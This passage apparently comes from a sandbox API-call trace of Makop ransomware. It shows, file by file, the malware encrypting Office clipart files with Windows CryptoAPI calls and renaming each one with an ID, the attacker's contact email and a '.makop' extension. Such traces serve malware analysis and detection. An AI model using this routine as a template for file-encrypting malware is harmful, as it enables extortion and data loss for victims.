lpOverlapped=0x0) returned 1 [0152.215] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x390, dwBufLen=0x390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x390) returned 1 [0152.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.216] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x390, lpOverlapped=0x0) returned 1 [0152.216] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.216] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.216] SetEndOfFile (hFile=0xf0) returned 1 [0152.225] GetProcessHeap () returned 0x48a0000 [0152.225] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.225] GetProcessHeap () returned 0x48a0000 [0152.225] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.225] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.227] CloseHandle (hObject=0xf0) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e16ea00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e16ea00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02268_.WMF", cAlternateFileName="")) returned 1 [0152.227] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF") returned 63 [0152.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.228] GetProcessHeap () returned 0x48a0000 [0152.228] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.228] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.228] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.281] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.281] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.281] GetProcessHeap () returned 0x48a0000 [0152.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.283] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.284] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.284] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.284] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.284] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x61c, lpOverlapped=0x0) returned 1 [0152.284] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620) returned 1 [0152.284] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x620, lpOverlapped=0x0) returned 1 [0152.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.285] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.285] SetEndOfFile (hFile=0xf0) returned 1 [0152.294] GetProcessHeap () returned 0x48a0000 [0152.294] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.294] GetProcessHeap () returned 0x48a0000 [0152.294] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.294] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.297] CloseHandle (hObject=0xf0) returned 1 [0152.297] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a836300, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a836300, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02269_.WMF", cAlternateFileName="")) returned 1 [0152.297] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF") returned 63 [0152.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.298] GetProcessHeap () returned 0x48a0000 [0152.298] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.298] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.299] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.299] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.299] GetProcessHeap () returned 0x48a0000 [0152.299] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.299] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.299] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.299] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.425] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.425] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.425] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.426] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.426] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.426] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaf0, lpOverlapped=0x0) returned 1 [0152.426] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf0) returned 1 [0152.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf0, lpOverlapped=0x0) returned 1 [0152.427] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.427] SetEndOfFile (hFile=0xf0) returned 1 [0152.433] GetProcessHeap () returned 0x48a0000 [0152.434] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.434] GetProcessHeap () returned 0x48a0000 [0152.434] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.434] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.438] CloseHandle (hObject=0xf0) returned 1 [0152.439] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16efdc00, ftCreationTime.dwHighDateTime=0x1bd4bf9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16efdc00, ftLastWriteTime.dwHighDateTime=0x1bd4bf9, nFileSizeHigh=0x0, nFileSizeLow=0xa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02270_.WMF", cAlternateFileName="")) returned 1 [0152.439] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF") returned 63 [0152.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.467] GetProcessHeap () returned 0x48a0000 [0152.467] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.467] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.468] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.473] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.473] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.473] GetProcessHeap () returned 0x48a0000 [0152.473] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.473] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.473] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.473] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.473] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.474] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.474] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.474] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.475] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa68, lpOverlapped=0x0) returned 1 [0152.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa70, dwBufLen=0xa70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa70) returned 1 [0152.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa70, lpOverlapped=0x0) returned 1 [0152.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.476] SetEndOfFile (hFile=0xf0) returned 1 [0152.483] GetProcessHeap () returned 0x48a0000 [0152.483] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.483] GetProcessHeap () returned 0x48a0000 [0152.483] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.483] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.485] CloseHandle (hObject=0xf0) returned 1 [0152.486] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3963e00, ftCreationTime.dwHighDateTime=0x1bd4c04, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3963e00, ftLastWriteTime.dwHighDateTime=0x1bd4c04, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02276_.WMF", cAlternateFileName="")) returned 1 [0152.486] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF") returned 63 [0152.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.543] GetProcessHeap () returned 0x48a0000 [0152.543] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.543] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.543] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.543] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0152.549] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.549] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.549] GetProcessHeap () returned 0x48a0000 [0152.549] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.549] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.550] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.550] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.551] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.551] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, 